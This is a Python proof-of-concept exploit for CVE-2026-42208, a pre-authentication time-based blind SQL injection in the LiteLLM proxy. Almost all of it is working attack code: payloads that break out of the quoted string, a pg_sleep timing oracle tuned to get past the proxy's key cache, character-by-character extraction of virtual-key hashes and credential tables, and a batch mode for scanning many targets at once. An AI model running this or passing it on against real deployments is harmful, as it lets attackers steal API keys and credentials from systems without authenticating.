📄 LiteLLM 1.83.6 Blind SQL Injection

#!/usr/bin/env python3
    """
    CVE-2026-42208 - LiteLLM proxy pre-authentication time-based blind SQL injection
    Affected: BerriAI LiteLLM (proxy / AI Gateway) 1.81.16 <= version < 1.83.7
    Type: SQLi (CWE-89), unauthenticated, PostgreSQL backend
    
    The proxy's virtual-key lookup builds its SQL with an f-string:
    
        WHERE v.token = '{token}'
    
    and interpolates the *raw* bearer rather than the SHA-256 hash it computed one
    screen earlier. From 1.81.16 the failure-logging hook
    `_enrich_failure_metadata_with_key_info()` became a new caller of that lookup and
    feeds it a value that was never hashed: the bearer of a request that just failed
    authentication. Because the failure hook is awaited before the 401 is produced,
    any delay inside the injected query is a delay on the HTTP response, which gives
    a time-based oracle.
    
    The bearer must NOT start with "sk-": LiteLLM hashes anything with that prefix
    before the failure handler ever sees it, and a hex digest cannot break out of the
    string literal. Every payload this tool sends starts with "x'".
    
    Nothing from the injected query is echoed to the client and SQL errors are
    swallowed by the caller, so timing is the only oracle available. This tool
    calibrates a baseline, proves the delay scales with the requested pg_sleep
    interval (so a backoff-retry stall cannot be mistaken for a hit), and then
    binary-searches a secret out of the database one character at a time.
    
    Every payload carries a unique nonce in its trailing SQL comment, because the
    key lookup is cached on the bearer string: resending a payload verbatim is
    answered from cache without touching the database and reads as "not vulnerable".
    
    Usage:
      python exploit.py --host <target> --port 4000
      python exploit.py --host 192.168.1.10 --port 4000
      python exploit.py --host https://litellm.corp.com
      python exploit.py --host https://litellm.corp.com/v1/chat/completions --sleep 5
      python exploit.py --host 10.0.0.7 --confirm-only
      python exploit.py --host 10.0.0.7 --extract '(SELECT credential_values::text FROM "LiteLLM_CredentialsTable" LIMIT 1)'
      python exploit.py --host 10.0.0.7 --manual --payload "x' OR (SELECT 1 FROM pg_sleep(6)) IS NOT NULL -- "
      python exploit.py --list targets.txt --workers 20
    
    Extra arguments beyond the standard set:
      --path          HTTP path of an LLM API route (default /v1/chat/completions)
      --sleep         pg_sleep interval, in seconds, used as the oracle (default 4)
      --extract       SQL scalar expression to recover, defaults to the newest
                      virtual-key hash in "LiteLLM_VerificationToken"
      --charset       candidate characters; "auto" probes for a hex string first
      --max-length    upper bound for the length binary search (default 256)
      --threads       concurrency for the per-character binary searches (default 8)
      --confirm-only  stop after proving the injection, skip extraction
      --manual        send --payload verbatim and report its latency
      --verify-key    plaintext virtual key; its SHA-256 is compared to the result
      --model         model name placed in the filler request body
      --timeout       socket timeout, seconds (default: sleep * 3 + 20)
      --insecure      do not verify TLS certificates (default on, self-signed labs)
    """
    
    import argparse
    import hashlib
    import http.client
    import itertools
    import json
    import os
    import socket
    import ssl
    import statistics
    import sys
    import time
    from urllib.parse import urlparse
    
    CVE_ID = "CVE-2026-42208"
    VULN_TYPE = "SQLi (blind, time-based, pre-auth)"
    
    DEFAULT_PORT = 4000
    DEFAULT_PATH = "/v1/chat/completions"
    DEFAULT_MODEL = "gpt-3.5-turbo"
    DEFAULT_SLEEP = 4.0
    
    # The newest virtual key in the proxy's key table. Its `token` column holds the
    # SHA-256 of a live virtual key; recovering it is the terminal evidence.
    DEFAULT_EXTRACT = (
        '(SELECT token FROM "LiteLLM_VerificationToken" ORDER BY created_at DESC LIMIT 1)'
    )
    
    PRINTABLE = "".join(chr(c) for c in range(32, 127))
    HEXSET = "0123456789abcdef"
    
    
    def header(host, port):
        print("\n" + "=" * 60)
        print("  ALIM EXPLOIT  {}".format(CVE_ID))
        print("  Type: {}  |  Target: {}:{}".format(VULN_TYPE, host, port))
        print("=" * 60 + "\n")
    
    
    def step(n, msg):
        print("[STEP {}] {}".format(n, msg))
    
    
    def section(label, content):
        print("\n--- {} ---".format(label))
        print(str(content).strip())
        print("---\n")
    
    
    def done(success, evidence):
        print("\n" + "=" * 60)
        print("  RESULT  : {}".format("SUCCESS" if success else "FAILURE"))
        print("  EVIDENCE: {}".format(evidence))
        print("=" * 60 + "\n")
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------
    # payload construction
    # --------------------------------------------------------------------------
    #
    # The sink is  WHERE v.token = '<payload>'  at the very end of the statement,
    # so the shape is: close the quote, add an OR clause, comment out the rest.
    # pg_sleep() returns void, so it is used as a table source and never compared
    # directly.
    #
    # Every payload carries a unique nonce inside its trailing SQL comment. This is
    # mandatory, not cosmetic: get_key_object() consults LiteLLM's dual (in-memory +
    # Redis) key cache before it ever reaches the database, and the cache key is the
    # bearer string itself. Send the same payload twice and the second request is
    # answered from cache in microseconds - the injection looks dead when it is not.
    # The nonce lives after "--" so it changes the cache key without changing the
    # SQL. Discovered against the lab: an identical pg_sleep(3) payload took 3.037s,
    # then 0.022s, then 0.017s, while three nonced copies took 3.031s / 3.034s /
    # 3.040s.
    
    _RUN_ID = os.urandom(3).hex()
    _counter = itertools.count()
    
    
    def _nonce():
        """Unique comment suffix that defeats LiteLLM's bearer-keyed key cache."""
        return "{}{:x}".format(_RUN_ID, next(_counter))
    
    
    def p_baseline():
        """Syntactically valid, matches nothing, returns immediately."""
        return "x' OR '1'='2' -- {}".format(_nonce())
    
    
    def p_sleep(seconds):
        """Unconditional delay - proves the injected SQL executes."""
        return "x' OR (SELECT 1 FROM pg_sleep({})) IS NOT NULL -- {}".format(
            seconds, _nonce())
    
    
    def p_cond(predicate, seconds):
        """Delay only when `predicate` holds - the oracle that drives the search."""
        return (
            "x' OR (SELECT CASE WHEN ({}) THEN (SELECT count(*) FROM pg_sleep({}))"
            " ELSE 0 END) > -1 -- {}".format(predicate, seconds, _nonce())
        )
    
    
    def p_hashed_control(seconds):
        """Same delay payload, but prefixed 'sk-' so LiteLLM hashes it inert."""
        return "sk-" + p_sleep(seconds)
    
    
    # --------------------------------------------------------------------------
    # transport
    # --------------------------------------------------------------------------
    
    
    def _send(host, port, use_tls, path, bearer, timeout, model=DEFAULT_MODEL,
              insecure=True):
        """
        POST one filler chat-completion request carrying `bearer` in Authorization.
        Returns (status_or_None, elapsed_seconds, body_snippet). Never raises.
        """
        body = json.dumps(
            {"model": model, "messages": [{"role": "user", "content": "hi"}]}
        )
        headers = {
            "Host": "{}:{}".format(host, port),
            "Authorization": "Bearer " + bearer,
            "Content-Type": "application/json",
            "Accept": "application/json",
            "Content-Length": str(len(body)),
            "Connection": "close",
        }
        if use_tls:
            ctx = ssl.create_default_context()
            if insecure:
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
            conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
        else:
            conn = http.client.HTTPConnection(host, port, timeout=timeout)
    
        started = time.time()
        try:
            conn.request("POST", path, body=body, headers=headers)
            resp = conn.getresponse()
            data = resp.read(4096)
            elapsed = time.time() - started
            return resp.status, elapsed, data.decode("utf-8", "replace")
        except socket.timeout:
            return None, time.time() - started, "socket timeout"
        except Exception as exc:
            return None, time.time() - started, "{}: {}".format(type(exc).__name__, exc)
        finally:
            try:
                conn.close()
            except Exception:
                pass
    
    
    class Oracle(object):
        """Boolean oracle over the time-based injection."""
    
        def __init__(self, host, port, use_tls, path, sleep_s, timeout, model,
                     insecure):
            self.host = host
            self.port = port
            self.use_tls = use_tls
            self.path = path
            self.sleep_s = sleep_s
            self.timeout = timeout
            self.model = model
            self.insecure = insecure
            self.baseline = 0.0
            self.threshold = sleep_s * 0.5
            self.requests = 0
    
        def send(self, bearer):
            self.requests += 1
            return _send(self.host, self.port, self.use_tls, self.path, bearer,
                         self.timeout, self.model, self.insecure)
    
        def calibrate(self, samples=3):
            """Median latency of a valid, non-sleeping payload."""
            times = []
            status = None
            for _ in range(samples):
                status, elapsed, _body = self.send(p_baseline())
                times.append(elapsed)
            self.baseline = statistics.median(times)
            # Stay clear of both the baseline and any backoff jitter, but well
            # under the requested sleep so a loaded target still reads as TRUE.
            self.threshold = max(self.sleep_s * 0.5, self.baseline * 4)
            return status, self.baseline, times
    
        def _probe(self, predicate):
            """One measurement. Delayed response means the predicate held."""
            _status, elapsed, _body = self.send(p_cond(predicate, self.sleep_s))
            return elapsed >= self.threshold
    
        def ask(self, predicate):
            """
            Boolean oracle, TRUE results confirmed by a second measurement.
    
            The asymmetry is deliberate. A FALSE reading is trustworthy: the
            predicate either ran pg_sleep or it did not, and a query that did run
            it cannot come back faster than the interval. A TRUE reading is not,
            because the proxy's database connection pool is shared - when several
            extraction threads have sleeping queries in flight, a request whose own
            predicate was false can sit waiting for a pool slot and be reported
            late. So only TRUE is re-checked, and a disagreement is broken by a
            third measurement. Without this the search silently corrupts
            characters: an unconfirmed run against the lab read 'alim-lab-cred'
            as 'alim8lab9cred', both errors being a single spurious slow response.
            """
            if not self._probe(predicate):
                return False
            if self._probe(predicate):
                return True
            return self._probe(predicate)
    
    
    # --------------------------------------------------------------------------
    # confirmation
    # --------------------------------------------------------------------------
    
    
    def confirm(oracle, verbose=True):
        """
        Prove the injection executes. Returns (confirmed, detail_dict).
    
        Three measurements, because a single slow response is not evidence: the
        vulnerable lookup is wrapped in a backoff decorator that retries a broken
        query up to three times, which can itself stall for seconds. Only a delay
        that *scales* with the requested interval is pg_sleep.
        """
        detail = {}
        _st, base, samples = oracle.calibrate()
        detail["baseline"] = base
        detail["baseline_samples"] = samples
        if verbose:
            print("        baseline (x' OR '1'='2')          : "
                  "{:.3f}s  [{}]".format(
                      base, ", ".join("{:.3f}".format(s) for s in samples)))
    
        s1 = oracle.sleep_s
        s2 = oracle.sleep_s * 2
        st1, t1, _b1 = oracle.send(p_sleep(s1))
        st2, t2, _b2 = oracle.send(p_sleep(s2))
        detail["t1"] = t1
        detail["t2"] = t2
        detail["status"] = st1
        if verbose:
            print("        pg_sleep({:g}) unconditional probe   : "
                  "{:.3f}s  (HTTP {})".format(s1, t1, st1))
            print("        pg_sleep({:g}) unconditional probe   : "
                  "{:.3f}s  (HTTP {})".format(s2, t2, st2))
    
        # Control: the identical payload prefixed sk- is SHA-256'd before the
        # failure hook sees it, so it must NOT be delayed.
        _stc, tc, _bc = oracle.send(p_hashed_control(s1))
        detail["sk_control"] = tc
        if verbose:
            print("        same payload prefixed 'sk-'        : "
                  "{:.3f}s  (hashed, must be fast)".format(tc))
    
        delayed = t1 >= oracle.threshold
        scales = t2 >= t1 + (oracle.sleep_s * 0.5)
        control_fast = tc < oracle.threshold
        detail["delayed"] = delayed
        detail["scales"] = scales
        detail["control_fast"] = control_fast
        detail["confirmed"] = bool(delayed and scales and control_fast)
        return detail["confirmed"], detail
    
    
    def diagnose(detail, oracle):
        """Explain a negative result instead of just calling it 'not vulnerable'."""
        if detail.get("status") is None:
            return "no HTTP response - host unreachable or route wrong"
        if not detail.get("delayed"):
            if detail["baseline"] > oracle.sleep_s * 0.5:
                return ("every payload is slow ({:.2f}s baseline) - that is backoff "
                        "noise or a loaded host, not pg_sleep".format(detail["baseline"]))
            return ("flat timing (baseline {:.3f}s, sleep probe {:.3f}s) - target is "
                    "1.83.7+, has disable_error_logs set, or has no DATABASE_URL / "
                    "master key".format(detail["baseline"], detail["t1"]))
        if not detail.get("scales"):
            return ("delay does not scale with the requested interval "
                    "({:.2f}s for sleep {:g} vs {:.2f}s for sleep {:g}) - this is the "
                    "backoff-retry false positive, not the injection".format(
                        detail["t1"], oracle.sleep_s, detail["t2"], oracle.sleep_s * 2))
        if not detail.get("control_fast"):
            return ("the sk- prefixed control was also delayed ({:.2f}s) - the latency "
                    "is not payload-dependent".format(detail["sk_control"]))
        return "no timing evidence"
    
    
    # --------------------------------------------------------------------------
    # extraction
    # --------------------------------------------------------------------------
    
    
    def _sql_str(value):
        """Single-quoted SQL literal, quotes doubled."""
        return "'" + value.replace("'", "''") + "'"
    
    
    def find_length(oracle, expr, max_length):
        """Binary-search length((expr)). Returns None if the expression is NULL."""
        if oracle.ask("({}) IS NULL".format(expr)):
            return None
        lo, hi = 0, max_length
        while lo < hi:
            mid = (lo + hi) // 2
            if oracle.ask("length(({})) > {}".format(expr, mid)):
                lo = mid + 1
            else:
                hi = mid
        return lo
    
    
    def pick_charset(oracle, expr, charset):
        """Resolve --charset, probing for a lowercase-hex string in auto mode."""
        if charset != "auto":
            return "".join(sorted(set(charset)))
        if oracle.ask("({}) ~ {}".format(expr, _sql_str("^[0-9a-f]+$"))):
            return HEXSET
        return PRINTABLE
    
    
    def find_char(oracle, expr, index, charset):
        """Binary-search one character by ASCII value over the candidate set."""
        lo, hi = 0, len(charset) - 1
        while lo < hi:
            mid = (lo + hi) // 2
            pred = "ascii(substring(({}) FROM {} FOR 1)) > {}".format(
                expr, index, ord(charset[mid]))
            if oracle.ask(pred):
                lo = mid + 1
            else:
                hi = mid
        return charset[lo]
    
    
    def extract(oracle, expr, charset, max_length, threads, verbose=True):
        """Recover a scalar SQL expression character by character."""
        import concurrent.futures
    
        length = find_length(oracle, expr, max_length)
        if length is None:
            return None, "expression is NULL - no such row"
        if length == 0:
            return "", "expression is an empty string"
        if verbose:
            print("        length          : {} characters".format(length))
    
        cs = pick_charset(oracle, expr, charset)
        if verbose:
            label = "lowercase hex" if cs == HEXSET else (
                "printable ASCII" if cs == PRINTABLE else "custom")
            print("        charset         : {} ({} candidates, {} comparisons/char"
                  " before TRUE-confirmation)".format(
                      label, len(cs), (len(cs) - 1).bit_length()))
            print("        extracting with {} threads ...".format(threads))
    
        # Live counter only on a terminal - piping to a file should not collect a
        # screenful of carriage returns.
        live = verbose and sys.stdout.isatty()
        out = [None] * length
        with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as pool:
            futures = {
                pool.submit(find_char, oracle, expr, i + 1, cs): i
                for i in range(length)
            }
            completed = 0
            for fut in concurrent.futures.as_completed(futures):
                i = futures[fut]
                try:
                    out[i] = fut.result()
                except Exception:
                    out[i] = "?"
                completed += 1
                if live:
                    sys.stdout.write("\r        recovered {}/{} chars".format(
                        completed, length))
                    sys.stdout.flush()
        if live:
            sys.stdout.write("\r")
        if verbose:
            print("        recovered {}/{} chars".format(completed, length))
        value = "".join(c if c is not None else "?" for c in out)
        return value, "{} characters recovered in {} requests".format(
            length, oracle.requests)
    
    
    # --------------------------------------------------------------------------
    # scan mode
    # --------------------------------------------------------------------------
    
    
    def _try_exploit(host, port, use_tls, path=DEFAULT_PATH, sleep_s=DEFAULT_SLEEP,
                     timeout=None, model=DEFAULT_MODEL, insecure=True):
        """Silent probe for --list scan mode. Returns (success, evidence)."""
        if timeout is None:
            timeout = sleep_s * 3 + 20
        try:
            oracle = Oracle(host, port, use_tls, path, sleep_s, timeout, model,
                            insecure)
            ok, detail = confirm(oracle, verbose=False)
            if ok:
                return True, ("blind SQLi confirmed - baseline {:.3f}s, "
                              "sleep {:g}s -> {:.2f}s, sleep {:g}s -> {:.2f}s".format(
                                  detail["baseline"], sleep_s, detail["t1"],
                                  sleep_s * 2, detail["t2"]))
            return False, diagnose(detail, oracle)
        except Exception as exc:
            return False, "unreachable ({})".format(type(exc).__name__)
    
    
    def _parse_target(line, default_port, default_path=DEFAULT_PATH):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file, default_port, workers=10, path=DEFAULT_PATH,
             sleep_s=DEFAULT_SLEEP, timeout=None, model=DEFAULT_MODEL,
             insecure=True):
        """Batch scan from file."""
        import concurrent.futures
    
        with open(targets_file) as fh:
            targets = [_parse_target(line, default_port, path) for line in fh]
        targets = [t for t in targets if t is not None]
    
        print("\n" + "=" * 60)
        print("  {} - Batch Scan  ({} targets, {} workers)".format(
            CVE_ID, len(targets), workers))
        print("=" * 60 + "\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, tpath = t
            label = "{}://{}:{}{}".format(
                "https" if use_tls else "http", host, port, tpath)
            ok, evidence = _try_exploit(host, port, use_tls, tpath, sleep_s,
                                        timeout, model, insecure)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print("  {} {} - {}: {}".format(
                    "[+]" if ok else "[-]", label,
                    "Exploited" if ok else "Not vulnerable", evidence))
                if ok:
                    success_count += 1
    
        total = len(targets)
        print("\n" + "=" * 60)
        print("  SCAN COMPLETE  {} exploited / {} not vulnerable  ({} total)".format(
            success_count, total - success_count, total))
        print("=" * 60 + "\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # --------------------------------------------------------------------------
    # single target
    # --------------------------------------------------------------------------
    
    
    def exploit(host, port, use_tls, path, args):
        header(host, port)
        timeout = args.timeout if args.timeout else args.sleep * 3 + 20
        oracle = Oracle(host, port, use_tls, path, args.sleep, timeout, args.model,
                        args.insecure)
    
        if args.manual:
            step(1, "Sending the supplied payload verbatim ...")
            if args.payload.startswith("sk-"):
                print("        WARNING: payload starts with 'sk-'. LiteLLM SHA-256s "
                      "any bearer with that prefix before the vulnerable lookup, so "
                      "this payload cannot inject.")
            oracle.calibrate()
            status, elapsed, body = oracle.send(args.payload)
            section("PAYLOAD", args.payload)
            section("RESPONSE", "HTTP {} in {:.3f}s (baseline {:.3f}s)\n{}".format(
                status, elapsed, oracle.baseline, body[:400]))
            if elapsed >= oracle.threshold:
                done(True, "payload '{}' delayed the 401 by {:.2f}s "
                           "(baseline {:.3f}s)".format(
                               args.payload, elapsed, oracle.baseline))
            done(False, "payload returned HTTP {} in {:.3f}s - no timing "
                        "evidence".format(status, elapsed))
    
        step(1, "Probing {} and calibrating the timing oracle ...".format(path))
        ok, detail = confirm(oracle)
    
        if not ok:
            section("TIMING SUMMARY",
                    "baseline      : {:.3f}s\n"
                    "pg_sleep({:g})   : {:.3f}s\n"
                    "pg_sleep({:g})   : {:.3f}s\n"
                    "sk- control   : {:.3f}s\n"
                    "HTTP status   : {}".format(
                        detail["baseline"], args.sleep, detail["t1"],
                        args.sleep * 2, detail["t2"], detail["sk_control"],
                        detail["status"]))
            done(False, "no injection - {}".format(diagnose(detail, oracle)))
    
        section("INJECTION CONFIRMED",
                "HTTP {status} is returned in every case, but the response is held "
                "for the duration of the injected pg_sleep:\n\n"
                "  baseline  x' OR '1'='2                        {b:.3f}s\n"
                "  injected  pg_sleep({s1:g})                          {t1:.3f}s\n"
                "  injected  pg_sleep({s2:g})                          {t2:.3f}s\n"
                "  control   sk- prefixed, pg_sleep({s1:g})            {tc:.3f}s\n\n"
                "The delay tracks the requested interval, so this is pg_sleep and "
                "not the backoff-retry stall of a broken query. The sk- control is "
                "fast because LiteLLM hashes that prefix before the vulnerable "
                "lookup.".format(
                    status=detail["status"], b=detail["baseline"], s1=args.sleep,
                    t1=detail["t1"], s2=args.sleep * 2, t2=detail["t2"],
                    tc=detail["sk_control"]))
    
        if args.confirm_only:
            done(True, "pre-auth blind SQL injection confirmed - HTTP {} delayed "
                       "{:.2f}s by pg_sleep({:g}), baseline {:.3f}s".format(
                           detail["status"], detail["t1"], args.sleep,
                           detail["baseline"]))
    
        step(2, "Extracting: {}".format(args.extract))
        started = time.time()
        value, note = extract(oracle, args.extract, args.charset, args.max_length,
                              args.threads)
        took = time.time() - started
    
        if not value:
            section("EXTRACTION", note)
            done(True, "pre-auth blind SQL injection confirmed (pg_sleep({:g}) held "
                       "the 401 for {:.2f}s vs {:.3f}s baseline), but the target "
                       "expression yielded nothing: {}".format(
                           args.sleep, detail["t1"], detail["baseline"], note))
    
        section("EXTRACTED VALUE",
                "{}\n\n{} in {:.0f}s ({} oracle requests total)".format(
                    value, note, took, oracle.requests))
    
        if args.verify_key:
            digest = hashlib.sha256(args.verify_key.encode()).hexdigest()
            match = digest == value
            section("VERIFICATION",
                    "supplied plaintext : {}\n"
                    "sha256(plaintext)  : {}\n"
                    "extracted value    : {}\n"
                    "match              : {}".format(
                        args.verify_key, digest, value, "YES" if match else "NO"))
            if match:
                done(True, "recovered virtual-key hash {} over the network with no "
                           "credentials - it is sha256('{}')".format(
                               value, args.verify_key))
    
        done(True, "recovered '{}' from the proxy database unauthenticated via "
                   "time-based blind SQLi".format(value))
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(
            description="{} exploit PoC - LiteLLM pre-auth blind SQL "
                        "injection".format(CVE_ID))
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host",
                                help="Target: hostname, IP, or full URL "
                                     "(e.g. https://host:4000/v1/chat/completions)")
        target_grp.add_argument("--list", metavar="FILE",
                                help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                            help="Default port (default: 4000)")
        parser.add_argument("--payload", default="' OR '1'='1'--",
                            help="Injection string, used with --manual "
                                 "(default: ' OR '1'='1'--). Must not start with "
                                 "sk-, and vary it between runs or the key cache "
                                 "answers it without touching the database")
        parser.add_argument("--workers", type=int, default=10,
                            help="Threads for --list mode (default: 10)")
        parser.add_argument("--path", default=DEFAULT_PATH,
                            help="LLM API route to hit (default: /v1/chat/completions)")
        parser.add_argument("--sleep", type=float, default=DEFAULT_SLEEP,
                            help="pg_sleep interval used as the oracle (default: 4)")
        parser.add_argument("--extract", default=DEFAULT_EXTRACT,
                            help="SQL scalar expression to recover "
                                 "(default: newest LiteLLM_VerificationToken.token)")
        parser.add_argument("--charset", default="auto",
                            help="Candidate characters, or 'auto' to probe for hex "
                                 "then fall back to printable ASCII (default: auto)")
        parser.add_argument("--max-length", type=int, default=256,
                            help="Upper bound for the length search (default: 256)")
        parser.add_argument("--threads", type=int, default=6,
                            help="Concurrency for extraction (default: 6). Raising "
                                 "this contends for the target's DB pool and makes "
                                 "the timing oracle noisier, not just faster")
        parser.add_argument("--confirm-only", action="store_true",
                            help="Stop after confirming the injection")
        parser.add_argument("--manual", action="store_true",
                            help="Send --payload verbatim and report its latency")
        parser.add_argument("--verify-key",
                            help="Plaintext virtual key; its sha256 is compared to "
                                 "the extracted value")
        parser.add_argument("--model", default=DEFAULT_MODEL,
                            help="Model name in the filler body (default: gpt-3.5-turbo)")
        parser.add_argument("--timeout", type=float,
                            help="Socket timeout in seconds (default: sleep*3 + 20)")
        parser.add_argument("--insecure", action="store_true", default=True,
                            help="Skip TLS certificate verification (default: on)")
        parser.add_argument("--verify-tls", dest="insecure", action="store_false",
                            help="Verify TLS certificates")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers,
                 path=args.path, sleep_s=args.sleep, timeout=args.timeout,
                 model=args.model, insecure=args.insecure)
        else:
            parsed = _parse_target(args.host, args.port, args.path)
            host, port, use_tls, path = parsed if parsed else (
                args.host, args.port, False, args.path)
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path, args)